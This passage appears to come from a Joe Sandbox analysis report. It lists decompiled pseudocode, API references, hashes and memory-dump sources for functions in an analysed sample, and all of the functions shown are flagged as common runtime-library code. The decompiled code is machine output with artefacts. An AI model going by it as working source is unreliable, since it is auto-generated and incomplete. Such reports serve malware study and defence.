Snapshot File: hcaresult_1_2_2700000_11.jbxd

Yara matches

Similarity

API ID: CurrentImageNonwritable___except_validate_context_record
String ID: Z7@$csm
API String ID: 3480331319-2565746272
Opcode ID: 9d76f89605992a8fe9fab702b1975ea8b3e5ddfde48666b6caeff8bd30ab8ec5
Instruction ID: fc4578d2fcd6476dd66b449dcc5156e0e5339d5b41c278c26cdf3cdd70870a14
Opcode Fuzzy Hash: 9d76f89605992a8fe9fab702b1975ea8b3e5ddfde48666b6caeff8bd30ab8ec5
Instruction Fuzzy Hash: D541B434A00219EBCF15DF68C8C4A9EBFF5AF45328F148155EA149B3D1D771AA0ACFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00412BF3 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 99
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 89%

			E00412BF3(intOrPtr __edx, void* __eflags, intOrPtr _a4, int _a8, intOrPtr _a12, intOrPtr _a16, short* _a20, intOrPtr _a24, intOrPtr _a28) {
				signed int _v8;
				intOrPtr _v12;
				signed int _v16;
				char _v20;
				intOrPtr _v28;
				char _v32;
				void* _v44;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t30;
				signed int _t36;
				signed int _t40;
				int _t43;
				int _t56;
				short* _t57;
				signed int _t58;
				void* _t59;
				short* _t60;

				_t55 = __edx;
				_t30 =  *0x42c014; // 0xee6350c6
				_v8 = _t30 ^ _t58;
				E0040B314( &_v32, __edx, _a4);
				_t48 = _a24;
				if(_a24 == 0) {
					_t48 =  *((intOrPtr*)(_v28 + 8));
				}
				_t56 = 0;
				_t36 = E00415075(_t48, 1 + (0 | _a28 != 0x00000000) * 8, _a12, _a16, 0, 0);
				_t60 = _t59 + 0x18;
				_v16 = _t36;
				if(_t36 == 0) {
					L16:
					if(_v20 != 0) {
						 *(_v32 + 0x350) =  *(_v32 + 0x350) & 0xfffffffd;
					}
					return E00404A89(_t56, _t48, _v8 ^ _t58, _t55, _t56, _t57);
				} else {
					_t55 = _t36 + _t36;
					_v12 = _t55;
					asm("sbb eax, eax");
					_t40 = _t36 & _t55 + 0x00000008;
					if(_t40 == 0) {
						_t57 = 0;
						L12:
						if(_t57 != 0) {
							E00405C80(_t56, _t57, _t56, _t55);
							_t43 = E00415075(_t48, 1, _a12, _a16, _t57, _v16);
							if(_t43 != 0) {
								_t56 = GetStringTypeW(_a8, _t57, _t43, _a20);
							}
						}
						E0040481A(_t57);
						goto L16;
					}
					if(_t40 > 0x400) {
						_t57 = E0040FE5B(_t40);
						if(_t57 == 0) {
							L10:
							_t55 = _v12;
							goto L12;
						}
						 *_t57 = 0xdddd;
						L9:
						_t57 =  &(_t57[4]);
						goto L10;
					}
					E00404E60(_t40);
					_t57 = _t60;
					if(_t57 == 0) {
						goto L10;
					}
					 *_t57 = 0xcccc;
					goto L9;
				}
			}

0x00412bf3
0x00412bfb
0x00412c02
0x00412c0e
0x00412c13
0x00412c18
0x00412c1d
0x00412c1d
0x00412c22
0x00412c3b
0x00412c40
0x00412c43
0x00412c48
0x00412cd2
0x00412cd6
0x00412cdb
0x00412cdb
0x00412cf5
0x00412c4e
0x00412c4e
0x00412c54
0x00412c59
0x00412c5b
0x00412c5d
0x00412c94
0x00412c96
0x00412c98
0x00412c9d
0x00412caf
0x00412cb9
0x00412cc9
0x00412cc9
0x00412cb9
0x00412ccc
0x00000000
0x00412cd1
0x00412c64
0x00412c7f
0x00412c84
0x00412c8f
0x00412c8f
0x00000000
0x00412c8f
0x00412c86
0x00412c8c
0x00412c8c
0x00000000
0x00412c8c
0x00412c66
0x00412c6b
0x00412c6f
0x00000000
0x00000000
0x00412c71
0x00000000
0x00412c71

APIs

__alloca_probe_16.LIBCMT ref: 00412C66
GetStringTypeW.KERNEL32(?,00000000,00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,0000FDE9), ref: 00412CC3
__freea.LIBCMT ref: 00412CCC

Part of subcall function 0040FE5B: RtlAllocateHeap.NTDLL(00000000,?,?,?,00405675,?,?,?,?,?,00401137,?,?), ref: 0040FE8D

Strings

;cA, xrefs: 00412C06

Memory Dump Source

Source File: 00000001.00000002.259896654.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.259896654.000000000044E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.259896654.0000000000456000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_11.jbxd

Yara matches

Similarity

API ID: AllocateHeapStringType__alloca_probe_16__freea
String ID: ;cA
API String ID: 2035984020-2557778433
Opcode ID: faf4291dbb62158ababe32f9ee21bdc5275d22abd08317c5a4e89fdabbba7610
Instruction ID: 6e467286b9e090a8b8b574545e37b35d92c12956e4b4b0cc29cc944712cf8f38
Opcode Fuzzy Hash: faf4291dbb62158ababe32f9ee21bdc5275d22abd08317c5a4e89fdabbba7610
Instruction Fuzzy Hash: 8F31067190021AABDB209F61CD40EEF7B69EF84310F04412AF904A7251E7388DA1C7E8

Uniqueness

Uniqueness Score: -1.00%

Function 0041AE94 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041AE94(void* __ecx, void* __edx, void* __eflags, intOrPtr _a4, char _a8) {
				char _v8;
				WCHAR* _v12;
				WCHAR* _v16;
				WCHAR* _v20;
				WCHAR* _v24;
				char _v28;
				char _v32;
				WCHAR* _v36;
				WCHAR* _v40;
				WCHAR* _v44;
				WCHAR* _v48;
				char _v52;
				void* _t24;
				void* _t28;
				void* _t30;
				int _t32;
				void* _t33;
				WCHAR* _t37;

				_t33 = __ecx;
				_t32 = 0;
				_t37 = 0;
				_v52 = 0;
				_v48 = 0;
				_v44 = 0;
				_v40 = 0;
				_v36 = 0;
				_v32 = 0;
				_v28 = 0;
				_v24 = 0;
				_v20 = 0;
				_v16 = 0;
				_v12 = 0;
				_v8 = 0;
				_t24 = E0040B94B(_t33, _a4,  &_v52, E0041535A(__edx, __eflags));
				_t42 = _t24;
				if(_t24 == 0) {
					_t28 = E0041535A(__edx, _t42);
					_t16 =  &_a8; // 0x41683d
					_t30 = E0040B94B(_t33,  *_t16,  &_v28, _t28);
					_t37 = _v20;
					if(_t30 == 0) {
						_t32 = SetEnvironmentVariableW(_v44, _t37);
					}
				}
				if(_v8 != 0) {
					E0040F644(_t37);
				}
				if(_v32 != 0) {
					E0040F644(_v44);
				}
				return _t32;
			}

0x0041ae94
0x0041ae9d
0x0041aea0
0x0041aea2
0x0041aea5
0x0041aea8
0x0041aeab
0x0041aeae
0x0041aeb1
0x0041aeb4
0x0041aeb7
0x0041aeba
0x0041aebd
0x0041aec0
0x0041aec3
0x0041aed3
0x0041aedb
0x0041aedd
0x0041aedf
0x0041aee9
0x0041aeec
0x0041aef1
0x0041aef9
0x0041af05
0x0041af05
0x0041aef9
0x0041af0b
0x0041af0e
0x0041af13
0x0041af18
0x0041af1d
0x0041af22
0x0041af28

APIs

SetEnvironmentVariableW.KERNEL32(?,?,?,?,?,?,00000000,00000000), ref: 0041AEFF
_free.LIBCMT ref: 0041AF0E
_free.LIBCMT ref: 0041AF1D

Strings

=hA, xrefs: 0041AEE9

Memory Dump Source

Source File: 00000001.00000002.259896654.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.259896654.000000000044E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.259896654.0000000000456000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_11.jbxd

Yara matches

Similarity

API ID: _free$EnvironmentVariable
String ID: =hA
API String ID: 1464849758-2131574648
Opcode ID: b383264182f032cbd7472730734cd06690eabd2825cfcc0903d51e5cdb9afb7b
Instruction ID: b1820e1366a6ed0b1efdc9ca6e1508efc5cdc4fdebae2df474b0d36d80df899d
Opcode Fuzzy Hash: b383264182f032cbd7472730734cd06690eabd2825cfcc0903d51e5cdb9afb7b
Instruction Fuzzy Hash: 981182B1C01218AACF01AFAAC8815DEFFB8BF08314F04407FE904B3251D7744A45CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0270C8CB Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 30libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,0041F5AC,00000000,?,?,0270C87D,?,?,0270C845,00000000,00000000,?), ref: 0270C8E0
GetProcAddress.KERNEL32(00000000,0041F5C4), ref: 0270C8F3
FreeLibrary.KERNEL32(00000000,?,?,0270C87D,?,?,0270C845,00000000,00000000,?), ref: 0270C916

Strings

Z7@, xrefs: 0270C904

Memory Dump Source

Source File: 00000001.00000002.260434500.0000000002700000.00000040.00001000.00020000.00000000.sdmp, Offset: 02700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2700000_11.jbxd

Yara matches

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: Z7@
API String ID: 4061214504-2024903632
Opcode ID: 51b8d3364453b1c55d6621eb6d9ee93724dcdcddcf598886963687923cd32b9d
Instruction ID: 9a72b742dba7d265530eab5900dbb312516aba28d80b61b63f5b828ea0b3d05b
Opcode Fuzzy Hash: 51b8d3364453b1c55d6621eb6d9ee93724dcdcddcf598886963687923cd32b9d
Instruction Fuzzy Hash: DFF05E71D50118FBDB12AB50DD09BDE7EA9AB04759F104175A805E11A1CB748B09DA94

Uniqueness

Uniqueness Score: -1.00%

Function 00408DD2 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27
libraryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E00408DD2(WCHAR* _a4) {
				struct HINSTANCE__* _t4;

				_t4 = LoadLibraryExW(_a4, 0, 0x800);
				if(_t4 != 0) {
					return _t4;
				} else {
					if(GetLastError() != 0x57 || E0040E9F8(_a4, L"api-ms-", 7) == 0) {
						return 0;
					}
					return LoadLibraryExW(_a4, 0, 0);
				}
			}

0x00408ddf
0x00408de7
0x00408e1c
0x00408de9
0x00408df2
0x00000000
0x00408e19
0x00408e18
0x00408e18

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,00408D83,00000000,?,00457E8C,?,?,?,00408F26,00000004,InitializeCriticalSectionEx,0041EB58,InitializeCriticalSectionEx), ref: 00408DDF
GetLastError.KERNEL32(?,00408D83,00000000,?,00457E8C,?,?,?,00408F26,00000004,InitializeCriticalSectionEx,0041EB58,InitializeCriticalSectionEx,00000000,?,00408CDD), ref: 00408DE9
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 00408E11

Strings

api-ms-, xrefs: 00408DF6

Memory Dump Source

Source File: 00000001.00000002.259896654.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.259896654.000000000044E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.259896654.0000000000456000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_11.jbxd

Yara matches

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 09d22525f0865cff4a2a70c5882b926ab5682a80e3066328a923ccc7b088e120
Instruction ID: bbccaca188d2fda9c372a509ed7fc85f3c84109bc88230b2fe31dad41fc458a3
Opcode Fuzzy Hash: 09d22525f0865cff4a2a70c5882b926ab5682a80e3066328a923ccc7b088e120
Instruction Fuzzy Hash: 88E048B0640204B7EF202B61DC06B5A3F54AB40B58F108035F94CF41E2DB75D87195DC

Uniqueness

Uniqueness Score: -1.00%

Function 00415536 Relevance: 6.1, APIs: 4, Instructions: 86
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00415536(intOrPtr* _a4, intOrPtr _a8, intOrPtr _a16) {
				intOrPtr _t16;
				intOrPtr _t17;
				intOrPtr _t19;
				intOrPtr _t29;
				char _t31;
				intOrPtr _t38;
				intOrPtr* _t40;
				intOrPtr _t41;

				_t40 = _a4;
				if(_t40 != 0) {
					_t31 = 0;
					__eflags =  *_t40;
					if( *_t40 != 0) {
						_t16 = E004150F1(_a16, 0, _t40, 0xffffffff, 0, 0, 0, 0);
						__eflags = _t16;
						if(__eflags != 0) {
							_t38 = _a8;
							__eflags = _t16 -  *((intOrPtr*)(_t38 + 0xc));
							if(__eflags <= 0) {
								L11:
								_t17 = E004150F1(_a16, _t31, _t40, 0xffffffff,  *((intOrPtr*)(_t38 + 8)),  *((intOrPtr*)(_t38 + 0xc)), _t31, _t31);
								__eflags = _t17;
								if(__eflags != 0) {
									 *((intOrPtr*)(_t38 + 0x10)) = _t17 - 1;
									_t19 = 0;
									__eflags = 0;
								} else {
									E00409356(GetLastError());
									_t19 =  *((intOrPtr*)(E0040938C(__eflags)));
								}
								L14:
								return _t19;
							}
							_t19 = E00415AFC(_t38, __eflags, _t16);
							__eflags = _t19;
							if(_t19 != 0) {
								goto L14;
							}
							goto L11;
						}
						E00409356(GetLastError());
						return  *((intOrPtr*)(E0040938C(__eflags)));
					}
					_t41 = _a8;
					__eflags =  *((intOrPtr*)(_t41 + 0xc));
					if(__eflags != 0) {
						L6:
						 *((char*)( *((intOrPtr*)(_t41 + 8)))) = _t31;
						L2:
						 *((intOrPtr*)(_t41 + 0x10)) = _t31;
						return 0;
					}
					_t29 = E00415AFC(_t41, __eflags, 1);
					__eflags = _t29;
					if(_t29 != 0) {
						return _t29;
					}
					goto L6;
				}
				_t41 = _a8;
				E0040B968(_t41);
				_t31 = 0;
				 *((intOrPtr*)(_t41 + 8)) = 0;
				 *((intOrPtr*)(_t41 + 0xc)) = 0;
				goto L2;
			}

0x0041553d
0x00415542
0x00415560
0x00415562
0x00415565
0x00415592
0x0041559a
0x0041559c
0x004155b5
0x004155b8
0x004155bb
0x004155c9
0x004155d8
0x004155e0
0x004155e2
0x004155fb
0x004155fe
0x004155fe
0x004155e4
0x004155eb
0x004155f6
0x004155f6
0x00415600
0x00000000
0x00415600
0x004155c0
0x004155c5
0x004155c7
0x00000000
0x00000000
0x00000000
0x004155c7
0x004155a5
0x00000000
0x004155b0
0x00415567
0x0041556a
0x0041556d
0x00415580
0x00415583
0x00415556
0x00415556
0x00000000
0x00415559
0x00415573
0x00415578
0x0041557a
0x00415604
0x00415604
0x00000000
0x0041557a
0x00415544
0x00415549
0x0041554e
0x00415550
0x00415553
0x00000000

APIs

Part of subcall function 0040B968: _free.LIBCMT ref: 0040B976

Part of subcall function 004150F1: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,00000000,00000000,?,00412EA2,?,00000000,00000000), ref: 0041519D

GetLastError.KERNEL32 ref: 0041559E
__dosmaperr.LIBCMT ref: 004155A5
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 004155E4
__dosmaperr.LIBCMT ref: 004155EB

Memory Dump Source

Source File: 00000001.00000002.259896654.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.259896654.000000000044E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.259896654.0000000000456000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_11.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide_free
String ID:
API String ID: 167067550-0
Opcode ID: f6f3b98101bbaadefcf41eddd839a0572ab14b4f9206c94ef8a5fd9992c86f58
Instruction ID: 241d0a5be6f4a676f814af16484ad725db842ec9f7552ab951272cf71d5e9cab
Opcode Fuzzy Hash: f6f3b98101bbaadefcf41eddd839a0572ab14b4f9206c94ef8a5fd9992c86f58
Instruction Fuzzy Hash: 0821DB71500A05FFDB205F62CC819EB776EEF84368750852BF81997291D739EC818BAC

Uniqueness

Uniqueness Score: -1.00%

Function 0271599D Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 0270BDCF: _free.LIBCMT ref: 0270BDDD

Part of subcall function 02715558: WideCharToMultiByte.KERNEL32(?,00000000,02709B53,00000000,00000000,00000000,00000000,0000FDE9,?,00000000,02709B53,?,02710877,?,00000000,00000000), ref: 02715604

GetLastError.KERNEL32 ref: 02715A05
__dosmaperr.LIBCMT ref: 02715A0C
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 02715A4B
__dosmaperr.LIBCMT ref: 02715A52

Memory Dump Source

Source File: 00000001.00000002.260434500.0000000002700000.00000040.00001000.00020000.00000000.sdmp, Offset: 02700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2700000_11.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide_free
String ID:
API String ID: 167067550-0
Opcode ID: 77ad5b31a13988c1c218c1ecb88cac116307de7ee242d9a407b295bb6a88c5e4
Instruction ID: b7bcdddb0dc048951a51a50f6cf764cfda34978a9109143d155c1a7a414416d3
Opcode Fuzzy Hash: 77ad5b31a13988c1c218c1ecb88cac116307de7ee242d9a407b295bb6a88c5e4
Instruction Fuzzy Hash: E521F8B1600216EFDB259F698CC4E6BBBAEEF803647448614F914A31C0E730ED04CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 0270FCBB Relevance: 6.1, APIs: 4, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.260434500.0000000002700000.00000040.00001000.00020000.00000000.sdmp, Offset: 02700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2700000_11.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8aa412021871e427515ac44f59de5816db6afee6ba5c7809f3ab564d503202eb
Instruction ID: eda578c04b566323d3b0d917443e128b3ebe62361e199d3d2da8e05534a54646
Opcode Fuzzy Hash: 8aa412021871e427515ac44f59de5816db6afee6ba5c7809f3ab564d503202eb
Instruction Fuzzy Hash: 4A210871A01725EBC7319B269CD4B5A37D8AF00B68F150121EC06BB6D0DF70E909C5E2

Uniqueness

Uniqueness Score: -1.00%

Function 0040ED70 Relevance: 6.1, APIs: 4, Instructions: 72
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 72%

			E0040ED70(void* __ecx, void* __edx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t2;
				long _t3;
				intOrPtr _t5;
				long _t6;
				intOrPtr _t9;
				long _t10;
				signed int _t39;
				signed int _t40;
				void* _t43;
				void* _t49;
				signed int _t51;
				signed int _t53;
				signed int _t54;
				long _t56;
				long _t60;
				long _t61;
				void* _t65;

				_t49 = __edx;
				_t43 = __ecx;
				_t60 = GetLastError();
				_t2 =  *0x42c190; // 0x8
				_t67 = _t2 - 0xffffffff;
				if(_t2 == 0xffffffff) {
					L6:
					_t3 = E0040FB6B(__eflags, _t2, 0xffffffff);
					__eflags = _t3;
					if(_t3 == 0) {
						goto L3;
					} else {
						_t51 = E0040FEA9(1, 0x364);
						_pop(_t43);
						__eflags = _t51;
						if(__eflags != 0) {
							__eflags = E0040FB6B(__eflags,  *0x42c190, _t51);
							if(__eflags != 0) {
								E0040EB9E(_t51, 0x4584d4);
								E0040F644(0);
								_t65 = _t65 + 0xc;
								goto L13;
							} else {
								_t39 = 0;
								E0040FB6B(__eflags,  *0x42c190, 0);
								_push(_t51);
								goto L9;
							}
						} else {
							_t39 = 0;
							__eflags = 0;
							E0040FB6B(0,  *0x42c190, 0);
							_push(0);
							L9:
							E0040F644();
							_pop(_t43);
							goto L4;
						}
					}
				} else {
					_t51 = E0040FB2C(_t67, _t2);
					if(_t51 == 0) {
						_t2 =  *0x42c190; // 0x8
						goto L6;
					} else {
						if(_t51 != 0xffffffff) {
							L13:
							_t39 = _t51;
						} else {
							L3:
							_t39 = 0;
							L4:
							_t51 = _t39;
						}
					}
				}
				SetLastError(_t60);
				asm("sbb edi, edi");
				_t53 =  ~_t51 & _t39;
				if(_t53 == 0) {
					E0040B689(_t39, _t43, _t49, _t53, _t60);
					asm("int3");
					_t5 =  *0x42c190; // 0x8
					_push(_t60);
					__eflags = _t5 - 0xffffffff;
					if(__eflags == 0) {
						L22:
						_t6 = E0040FB6B(__eflags, _t5, 0xffffffff);
						__eflags = _t6;
						if(_t6 == 0) {
							goto L31;
						} else {
							_t60 = E0040FEA9(1, 0x364);
							_pop(_t43);
							__eflags = _t60;
							if(__eflags != 0) {
								__eflags = E0040FB6B(__eflags,  *0x42c190, _t60);
								if(__eflags != 0) {
									E0040EB9E(_t60, 0x4584d4);
									E0040F644(0);
									_t65 = _t65 + 0xc;
									goto L29;
								} else {
									E0040FB6B(__eflags,  *0x42c190, _t21);
									_push(_t60);
									goto L25;
								}
							} else {
								E0040FB6B(__eflags,  *0x42c190, _t20);
								_push(_t60);
								L25:
								E0040F644();
								_pop(_t43);
								goto L31;
							}
						}
					} else {
						_t60 = E0040FB2C(__eflags, _t5);
						__eflags = _t60;
						if(__eflags == 0) {
							_t5 =  *0x42c190; // 0x8
							goto L22;
						} else {
							__eflags = _t60 - 0xffffffff;
							if(_t60 == 0xffffffff) {
								L31:
								E0040B689(_t39, _t43, _t49, _t53, _t60);
								asm("int3");
								_push(_t39);
								_push(_t60);
								_push(_t53);
								_t61 = GetLastError();
								_t9 =  *0x42c190; // 0x8
								__eflags = _t9 - 0xffffffff;
								if(__eflags == 0) {
									L38:
									_t10 = E0040FB6B(__eflags, _t9, 0xffffffff);
									__eflags = _t10;
									if(_t10 == 0) {
										goto L35;
									} else {
										_t54 = E0040FEA9(1, 0x364);
										__eflags = _t54;
										if(__eflags != 0) {
											__eflags = E0040FB6B(__eflags,  *0x42c190, _t54);
											if(__eflags != 0) {
												E0040EB9E(_t54, 0x4584d4);
												E0040F644(0);
												goto L45;
											} else {
												_t40 = 0;
												E0040FB6B(__eflags,  *0x42c190, 0);
												_push(_t54);
												goto L41;
											}
										} else {
											_t40 = 0;
											__eflags = 0;
											E0040FB6B(0,  *0x42c190, 0);
											_push(0);
											L41:
											E0040F644();
											goto L36;
										}
									}
								} else {
									_t54 = E0040FB2C(__eflags, _t9);
									__eflags = _t54;
									if(__eflags == 0) {
										_t9 =  *0x42c190; // 0x8
										goto L38;
									} else {
										__eflags = _t54 - 0xffffffff;
										if(_t54 != 0xffffffff) {
											L45:
											_t40 = _t54;
										} else {
											L35:
											_t40 = 0;
											__eflags = 0;
											L36:
											_t54 = _t40;
										}
									}
								}
								SetLastError(_t61);
								asm("sbb edi, edi");
								_t56 =  ~_t54 & _t40;
								__eflags = _t56;
								return _t56;
							} else {
								L29:
								__eflags = _t60;
								if(_t60 == 0) {
									goto L31;
								} else {
									return _t60;
								}
							}
						}
					}
				} else {
					return _t53;
				}
			}

0x0040ed70
0x0040ed70
0x0040ed7b
0x0040ed7d
0x0040ed82
0x0040ed85
0x0040eda3
0x0040eda6
0x0040edab
0x0040edad
0x00000000
0x0040edaf
0x0040edbb
0x0040edbe
0x0040edbf
0x0040edc1
0x0040ede6
0x0040ede8
0x0040ee01
0x0040ee08
0x0040ee0d
0x00000000
0x0040edea
0x0040edea
0x0040edf3
0x0040edf8
0x00000000
0x0040edf8
0x0040edc3
0x0040edc3
0x0040edc3
0x0040edcc
0x0040edd1
0x0040edd2
0x0040edd2
0x0040edd7
0x00000000
0x0040edd7
0x0040edc1
0x0040ed87
0x0040ed8d
0x0040ed91
0x0040ed9e
0x00000000
0x0040ed93
0x0040ed96
0x0040ee10
0x0040ee10
0x0040ed98
0x0040ed98
0x0040ed98
0x0040ed9a
0x0040ed9a
0x0040ed9a
0x0040ed96
0x0040ed91
0x0040ee13
0x0040ee1b
0x0040ee1d
0x0040ee1f
0x0040ee27
0x0040ee2c
0x0040ee2d
0x0040ee32
0x0040ee33
0x0040ee36
0x0040ee50
0x0040ee53
0x0040ee58
0x0040ee5a
0x00000000
0x0040ee5c
0x0040ee68
0x0040ee6b
0x0040ee6c
0x0040ee6e
0x0040ee91
0x0040ee93
0x0040eeaa
0x0040eeb1
0x0040eeb6
0x00000000
0x0040ee95
0x0040ee9c
0x0040eea1
0x00000000
0x0040eea1
0x0040ee70
0x0040ee77
0x0040ee7c
0x0040ee7d
0x0040ee7d
0x0040ee82
0x00000000
0x0040ee82
0x0040ee6e
0x0040ee38
0x0040ee3e
0x0040ee40
0x0040ee42
0x0040ee4b
0x00000000
0x0040ee44
0x0040ee44
0x0040ee47
0x0040eec1
0x0040eec1
0x0040eec6
0x0040eec9
0x0040eeca
0x0040eecb
0x0040eed2
0x0040eed4
0x0040eed9
0x0040eedc
0x0040eefa
0x0040eefd
0x0040ef02
0x0040ef04
0x00000000
0x0040ef06
0x0040ef12
0x0040ef16
0x0040ef18
0x0040ef3d
0x0040ef3f
0x0040ef58
0x0040ef5f
0x00000000
0x0040ef41
0x0040ef41
0x0040ef4a
0x0040ef4f
0x00000000
0x0040ef4f
0x0040ef1a
0x0040ef1a
0x0040ef1a
0x0040ef23
0x0040ef28
0x0040ef29
0x0040ef29
0x00000000
0x0040ef2e
0x0040ef18
0x0040eede
0x0040eee4
0x0040eee6
0x0040eee8
0x0040eef5
0x00000000
0x0040eeea
0x0040eeea
0x0040eeed
0x0040ef67
0x0040ef67
0x0040eeef
0x0040eeef
0x0040eeef
0x0040eeef
0x0040eef1
0x0040eef1
0x0040eef1
0x0040eeed
0x0040eee8
0x0040ef6a
0x0040ef72
0x0040ef74
0x0040ef74
0x0040ef7b
0x0040ee49
0x0040eeb9
0x0040eeb9
0x0040eebb
0x00000000
0x0040eebd
0x0040eec0
0x0040eec0
0x0040eebb
0x0040ee47
0x0040ee42
0x0040ee21
0x0040ee26
0x0040ee26

APIs

GetLastError.KERNEL32(?,00000000,?,0040B354,00000000,00000000,?,?,004100E1,00000000,00000000,00000000,00000000,?), ref: 0040ED75
_free.LIBCMT ref: 0040EDD2
_free.LIBCMT ref: 0040EE08
SetLastError.KERNEL32(00000000,00000008,000000FF,?,004100E1,00000000,00000000,00000000,00000000,?), ref: 0040EE13

Memory Dump Source

Source File: 00000001.00000002.259896654.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.259896654.000000000044E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.259896654.0000000000456000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_11.jbxd

Yara matches

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: dff4ac6bcf1ee981513a95a7f901808ca88c5b2d0ed979cf82935e74d586a493
Instruction ID: 98938ff06188a58bf2159465257cbb56d72d078dcb8e578582a22a3d11d4e0c0
Opcode Fuzzy Hash: dff4ac6bcf1ee981513a95a7f901808ca88c5b2d0ed979cf82935e74d586a493
Instruction Fuzzy Hash: 8D1106326006012AD6206677ECC2E3F356ADFC5379B240A3BF618B36E2DE3D9C26555C

Uniqueness

Uniqueness Score: -1.00%

Function 0270F1D7 Relevance: 6.1, APIs: 4, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00000000,?,0270B7BB,00000000,00000000,?,?,02710548,00000000,00000000,00000000,00000000,?), ref: 0270F1DC
_free.LIBCMT ref: 0270F239
_free.LIBCMT ref: 0270F26F
SetLastError.KERNEL32(00000000,0042C190,000000FF,?,02710548,00000000,00000000,00000000,00000000,?), ref: 0270F27A

Memory Dump Source

Source File: 00000001.00000002.260434500.0000000002700000.00000040.00001000.00020000.00000000.sdmp, Offset: 02700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2700000_11.jbxd

Yara matches

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 5e6402c6aa041ae753eb3d457d30189979190590fb02c76a36005a1f88f17e09
Instruction ID: 6e39b385d9e29e13fe9ac0ac94d3d73680e880b4e633909a281021d482ec8b44
Opcode Fuzzy Hash: 5e6402c6aa041ae753eb3d457d30189979190590fb02c76a36005a1f88f17e09
Instruction Fuzzy Hash: F1110A76304201EA873266B55CC9E3F21DB9BCA374B250235F62592CE1DF604C1E49DA

Uniqueness

Uniqueness Score: -1.00%

Function 0040EEC7 Relevance: 6.1, APIs: 4, Instructions: 69
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 85%

			E0040EEC7(void* __ecx) {
				intOrPtr _t2;
				signed int _t3;
				signed int _t13;
				signed int _t18;
				long _t21;

				_t21 = GetLastError();
				_t2 =  *0x42c190; // 0x8
				_t24 = _t2 - 0xffffffff;
				if(_t2 == 0xffffffff) {
					L6:
					_t3 = E0040FB6B(__eflags, _t2, 0xffffffff);
					__eflags = _t3;
					if(_t3 == 0) {
						goto L3;
					} else {
						_t18 = E0040FEA9(1, 0x364);
						__eflags = _t18;
						if(__eflags != 0) {
							__eflags = E0040FB6B(__eflags,  *0x42c190, _t18);
							if(__eflags != 0) {
								E0040EB9E(_t18, 0x4584d4);
								E0040F644(0);
								goto L13;
							} else {
								_t13 = 0;
								E0040FB6B(__eflags,  *0x42c190, 0);
								_push(_t18);
								goto L9;
							}
						} else {
							_t13 = 0;
							__eflags = 0;
							E0040FB6B(0,  *0x42c190, 0);
							_push(0);
							L9:
							E0040F644();
							goto L4;
						}
					}
				} else {
					_t18 = E0040FB2C(_t24, _t2);
					if(_t18 == 0) {
						_t2 =  *0x42c190; // 0x8
						goto L6;
					} else {
						if(_t18 != 0xffffffff) {
							L13:
